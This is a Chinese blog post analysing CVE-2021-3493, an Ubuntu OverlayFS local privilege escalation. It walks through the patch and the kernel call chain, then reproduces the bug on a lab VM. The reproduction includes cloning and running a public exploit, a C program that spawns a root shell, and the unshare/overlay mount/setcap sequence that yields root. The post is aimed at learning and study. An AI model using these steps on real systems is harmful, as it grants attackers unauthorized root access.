CVE-2021-3493:Overlay 文件系统 Ubuntu 本地提权漏洞分析

news2024/9/29 21:18:21

分析此漏洞的文章非常多,在此只是记录一下复现漏洞的过程以及对漏洞的个人理解。Linux 内核漏洞有一定的准入门槛,不适合小白阅读。

基本信息

[影响范围]

Ubuntu 14.04 ~20.10

[漏洞描述]

Ubuntu 内核代码允许低权限用户在使用 unshare() 函数创建的用户命名空间中挂载 overlayfs 文件系统。当使用 setxattr() 函数设置 merged 联合挂载目录中文件的 security.capablility 扩展属性时,根据 overlayfs 文件系统的特性,将实际修改 init_user_ns 下 upper 目录中对应文件的扩展属性,从而造成本地提权问题。

[补丁分析]

漏洞补丁:7c03e2cda4a584cadc398e8f6641ca9988a39d52

xattr.c 是 Linux 内核中的一个文件,实现了 Linux 文件系统中**扩展属性(Extended Attributes)**相关操作。扩展属性是一种文件系统元数据,目前主要使用的是 security.capabilitysecurity.selinux,用于可执行文件的能力控制和强制访问控制。

在这里插入图片描述

从补丁信息来看,vfs_setxattr 函数在设置扩展属性时,添加了 cap_convert_nscap

cap_convert_nscap 定义在文件 security/commoncap.c 中,用于将用户命名空间的 capability 转换成进程命名空间中的能力。函数作用是在进程命名空间中为当前进程设置新的能力集,以实现对用户命名空间中的能力的转换。该函数在 Linux 内核中的应用十分广泛,例如实现 Docker 容器等虚拟化技术中,需要使用该函数将容器内的 capability 转换成主机上的能力,以提高容器的安全性和隔离性。—— ChatGPT 3.5

漏洞分析

其实 ChatGPT 有时候解释的还是比较抽象,**cap_convert_nscap 检查命名空间的权限。**具体来说,如果我们在自己的命名空间内挂载的文件系统上设置文件的扩展属性,没有问题。问题在于,当 OverlayFS 将此操作转发到底层文件系统时,它仅调用 vfs_setxattr 并且跳过 cap_convert_nscap。这允许攻击者修改外部命名空间挂载的文件的安全扩展属性,在 Linux 5.11 中,对 cap_convert_nscap 的调用已移至 vsf_setxatrr

漏洞代码

在这里插入图片描述

path_setxattr -> setxattr -> vfs_setxattr,**当时看到这个漏洞修复百思不得其解,原先的代码也有使用校验当前命名空间是否具有相应权限的函数,只是这个函数调用放在了 setxattr而非 patch 的 vfs_setxattr,**这样为什么会有漏洞呢?用户态进程在 Overlay 文件系统中,使用 setxattr 的内核调用栈如下

在这里插入图片描述

从调用栈可以看出,Upper 层(ext4)设置扩展属性时,调用了 vfs_setxattr ,而这个函数并没有对当前命名空间权限的判断。

更进一步,cap_convert_nscap 实现如下

在这里插入图片描述

正如我们所看到的,s->s_user_ns 是从 mount 过程中初始化的,在漏洞利用中是一个具有全部功能的新用户 ns。在这里,这个 inode 是覆盖层创建的索引节点,它的超级块 s_user_ns 是一个新用户 ns。新用户 ns 拥有所有 CAP_SETFCAP。所以这里的 ns_capable 将返回 0,这意味着该进程在这个新用户 ns 中具有 CAP_SETFCAP

返回 setxattr syscall 的调用链,cap_convert_nscap 检查权限通过后,第一次调用 vfs_setxattr。请注意,第一次调用 vfs_setxattr 是使用 OverlayFS。然后转到 Upper vfs_setxattr,因为 Upper 是主机文件系统 (ext4) 中的一个目录,所以 ext4 文件系统的 setxattr(ext4_xattr_set) 将被调用,最后扩展属性将被写入上目录文件。

漏洞复现

[复现环境]

下载地址:Ubuntu 18.04.0(old 镜像,非已经打过补丁的镜像版本)

[漏洞复现]

tom@virtual-machine:~$ git clone https://github.com/briskets/CVE-2021-3493.git
tom@virtual-machine:~$ cd CVE-2021-3493/
tom@virtual-machine:~/CVE-2021-3493$ gcc exploit.c -o exp
tom@virtual-machine:~/CVE-2021-3493$ ./exp
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(tom)

1.编写用于获取 root 权限的程序

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void)
{
	if (setuid(0)) {
		perror("setuid");
		return -1;
	}
	if (setgid(0)) {
		perror("setgid");
		return -1;
	}
	system("/bin/bash");
	return 0;
}
// gcc gc.c -o gc

此程序需要 root 权限或者 CAP_SET_UID、CAP_SET_GID 才能运行。

Linux中的Capability(能力)是一种用于管理进程权限的机制。它允许进程以比普通用户更高的权限运行,同时又不需要完全以root用户身份运行。这样可以有效地降低系统被攻击的风险,因为进程只能访问它需要的资源,而不能访问系统中的所有资源。Linux中的Capability机制为系统管理员提供了更细粒度的权限控制,使得进程可以以更安全的方式运行。它是一种比使用root用户权限更安全的方式来管理系统资源的方法。

2.用户命名空间挂载 OverlayFS

用户命名空间和 OverlayFS 的相关知识,我们在复现 CVE-2023-0386 的时候已介绍过,不再赘述。

tom@virtual-machine:~/Documents$ unshare -Urm
root@virtual-machine:~/Documents# ls
lower  merge  upper  work
root@virtual-machine:~/Documents# mount overlay -t overlay -o lowerdir=lower,upperdir=upper,workdir=work ./merge/
root@virtual-machine:~/Documents# setcap CAP_SETUID,CAP_SETGID+ep ./lower/gc
root@virtual-machine:~/Documents# tree
.
├── lower
│   └── gc
├── merge
│   └── gc
├── upper
└── work
    └── work

5 directories, 2 files
root@virtual-machine:~/Documents# touch ./merge/gc
root@virtual-machine:~/Documents# tree
.
├── lower
│   └── gc
├── merge
│   └── gc
├── upper
│   └── gc
└── work
    └── work

5 directories, 3 files

3.初始命名空间提权

tom@virtual-machine:~/Documents$ tree
.
├── lower
│   └── gc
├── merge
├── upper
│   └── gc
└── work
    └── work [error opening dir]

5 directories, 2 files
tom@virtual-machine:~/Documents$ ./upper/gc
root@virtual-machine:~/Documents# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(tom)

总结

由于笔者已分析过 CVE-2023-0386,在此基础上,分析 CVE-2021-3493 可能更为简单。CVE-2023-0386 需要理解 OverlayFS、Linux 命名空间、SetUID 位的概念;除此之外,如果你想理解 CVE-2021-3493,还需要了解 Capability、Linux 文件扩展属性。当你理解了这些常见的概念之后,在手动复现这些漏洞,会有更加深刻的理解,并且可以提高对 Linux 本地提权漏洞的认知。理解漏洞可以通过内核源码以及手动复现,如果能够调试内核则可以进一步认识内核漏洞。

参考文献

  • SSD Advisory – OverlayFS PE - SSD Secure Disclosure (ssd-disclosure.com)

  • CVE-2021-3493 内核overlayfs提权漏洞分析 - FreeBuf网络安全行业门户

  • CVE-2021-3493 Ubuntu overlayfs privilege escalation vulnerability analysis (terenceli.github.io)

  • CVE-2023-0386:Overlay 文件系统 copy-up 本地提权漏洞分析_江下枫的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/711496.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

李彦宏:AI原生应用比大模型数量更重要

6月26日&#xff0c;百度创始人、董事长兼首席执行官李彦宏出席“世界互联网大会数字文明尼山对话”&#xff0c;发表了题为 《大模型重塑数字世界》 的演讲。 大模型是当下全球科技创新的焦点&#xff0c;也是全球人工智能竞赛的主战场。李彦宏认为&#xff0c;“新的国际竞争…

箱线图概念和使用介绍

箱线图时一种针对连续型变量的统计图。通常用作比较。 箱子中间的一条线&#xff0c;是数据的中位数&#xff0c;代表了数据的平均水平。 箱子的上限和下限&#xff0c;分别是数据的上四分位数和下四分位数&#xff0c;意味着箱子包含50%的数据。因此&#xff0c;箱子的高度在…

23.RocketMQ之NameServer处理Broker心跳包,更新本地路由信息

NameServer处理Broker心跳包,更新本地路由信息 DefaultRequestProcessor继承自NettyRequestProcessor:处理各种客户端的请求&#xff0c;如果请求类型是为REGISTER_BROKER&#xff0c;则将请求转发到RouteInfoManager#regiesterBroker,主要是服务器端 或者客户端或者broker发送…

go语言环境安装

文章目录 环境介绍安装软件包步骤环境变量设置来一个经典的hello worldNice 最近的项目需要用到go来开发了&#xff0c;前几天就已经在看书了&#xff0c;今天是个周末&#xff0c;先在家里的机器上把环境搭好&#xff0c;特此记录一下。 环境介绍 下载地址&#xff1a;https:…

RRT 算法研究(附 Python / C++ 实现)

RRT 算法研究 参考 机器人路径规划、轨迹优化课程-第五讲-RRT算法原理和代码讲解 机器人路径规划之RRT算法(附C源码) RRT算法(快速拓展随机树)的Python实现 《基于改进RRT算法的路径规划研究》 《面向室内复杂场景的移动机器人快速路径规划算法研究》 理论基础 RRT&#xff0…

meb stm32开发

matlab1028b以上 stm32cubemx5.6.0以上 stm32-mat/target 教程与代码分享 - 知乎 安装好这些后&#xff0c;打开matlab&#xff0c;打开路径STM32-MAT\STM32 打开simulink&#xff0c;view-lib 可以看到 在STM32CUBEMX完成底层配置&#xff0c;生成ioc文件

UI的绘制流程

1.App的启动流程 每个App都是一个独立的进程&#xff0c;当一个app启动的时候&#xff0c;当前进程也被启动&#xff0c;在Android中有一个类ActivityThread&#xff0c;就是进程的初始类&#xff0c;其中main方法就是整个app的入口。ActivityThread并不是一个线程&#xff0c;…

Java并发编程中的JMM、3个基本属性、synchronized和volatile

1、Java内存模型JMM (Java Meemory Model) JMM规定&#xff0c;所有变量均存储在主内存中每个线程都有自己的工作内存&#xff0c;保存了该线程中用到的变量的主内存副本拷贝线程对变量的所有操作&#xff0c;必须在自己的工作内存中&#xff0c;不可直接读写主内存不同线程无法…

2023-6-29-第十一式代理模式

&#x1f37f;*★,*:.☆(&#xffe3;▽&#xffe3;)/$:*.★* &#x1f37f; &#x1f4a5;&#x1f4a5;&#x1f4a5;欢迎来到&#x1f91e;汤姆&#x1f91e;的csdn博文&#x1f4a5;&#x1f4a5;&#x1f4a5; &#x1f49f;&#x1f49f;喜欢的朋友可以关注一下&#xf…

C++primer(第五版)第八章(IO库)

8.1 IO库 上表中以w开头的类型和函数是C标准库为了支持使用宽字符的语言而定义的一组类型和对象来操纵wchar_t类型的数据.(然而我没有遇到过) 8.1.1 IO对象无拷贝或赋值 IO对象不能拷贝或赋值,通常用引用方式传递和返回流,由于读写一个IO对象回改变其状态,因此传递和返回的引…

Cetos7.x连接不上网络解决办法

Cetos7.x连接不上网络解决办法 Cetos7.x连接不上网络解决办法 在VM中设置网络连接为桥接&#xff0c;修改后仍无法连接网络 ##配置centos7中ens33&#xff0c;将默认的no修改为yes 启动CentOS系统&#xff0c;并打开一个连接终端会话&#xff0c;使用root登录&#xff1b;进…

tomcat多台应该怎么能设置

一个tomcat一般能处理5000-1000的并发量但是还是远远不够我们可以设置多台来满足我们的要求 首先进入tomcat目录 配置tomcat环境变量 vim /etc/profile.d/tomcat.sh 然后刷新 source /etc/profile.d/tomcat.sh 修改tomcat1里面的配置文件 然后进入tomcat1中的启动bin程序中…

Docker安装、常见命令、安装常见容器(Mysql、Redis等)

目录 一、Docker安装 二、Docker常见命令 2.1 镜像命令 2.2 容器命令 2.3 总结 2.4 容器挂载-容器卷技术 三、Docker安装mysql容器 3.1 下载镜像文件 3.2 创建实例并启动 3.3 MySQL 配置 3.4 进入容器文件系统 四、Docker安装Redis 一、Docker安装 官网安装指引&a…

SSM框架原理畅谈之SpringMVC

SpringMVC 一、Java SE Servlet标准1.1 Servlet 接口1.2 HttpServletRequest 接口1.3 HttpServletResponse 接口1.4 Cookie 对象1.5 Filter 接口1.6 HttpSession 接口 二、SpringMVC2.1 Spring MVC核心概念2.2 DispatcherServlet2.3 DispatcherServlet.init()2.4 DispatcherSer…

第三章 搜索与图论(一)——深搜,广搜,图的存储与拓扑序列

文章目录 深度优先搜索广度优先搜索树和图的存储图的深搜 拓扑序深搜练习题842. 排列数字843. n-皇后问题 广搜练习题844. 走迷宫845. 八数码 树和图的存储与遍历练习题846. 树的重心847. 图中点的层次 拓扑序练习题848. 有向图的拓扑序列 深度优先搜索 数据结构&#xff1a; …

常见排序算法详解

文章目录 前言1. 排序算法简介2 算法效率2.1 度量一个程序执行时间两种方法2.2 时间频度2.3 时间复杂度2.4 常见的时间复杂度2.5 平均和最坏时间复杂度 3. 常见排序算法详解3.1 基数排序 (Radix Sort)(1) 算法过程(2)代码实现 3.2 冒泡排序 (Bubble Sort)(1) 算法过程(2) 代码实…

2023年7月2日leetcode每日一题打卡——125.验证回文串

一、题目描述与要求 125. 验证回文串 - 力扣&#xff08;LeetCode&#xff09; 题目描述 如果在将所有大写字符转换为小写字符、并移除所有非字母数字字符之后&#xff0c;短语正着读和反着读都一样。则可以认为该短语是一个 回文串 。 字母和数字都属于字母数字字符。 给…

学习系统编程No.28【多线程概念实战】

引言&#xff1a; 北京时间&#xff1a;2023/6/29/15:33&#xff0c;刚刚更新完博客&#xff0c;目前没什么状态&#xff0c;不好趁热打铁&#xff0c;需要去睡一会会&#xff0c;昨天睡的有点迟&#xff0c;然后忘记把7点到8点30之间的4个闹钟关掉了&#xff0c;恶心了我自己…

C语言学习(三十)---枚举、位段、联合体

这几天在往实习的地方弄东西&#xff0c;比较累&#xff0c;因此没有更新&#xff0c;在几天前我们学习了内存操作函数&#xff0c;其与之前学习的字符串操作函数相比&#xff0c;适用范围更加广泛&#xff0c;大家要注意掌握学习&#xff0c;今天我们将学习枚举、位段和联合体…

闲置BROOKSTONE Rover间谍车重生记

22年春节在家&#xff0c;哪也去不了&#xff0c;收拾出来一个多年前的玩具&#xff0c;全名叫BROOKSTONE Rover revolution&#xff0c;长这个样子。 尽管是7年前的产品了&#xff0c;科技感依旧挺足 印象中能手机控制&#xff0c;并且能语音对讲。只是网上找到的安卓版应用已…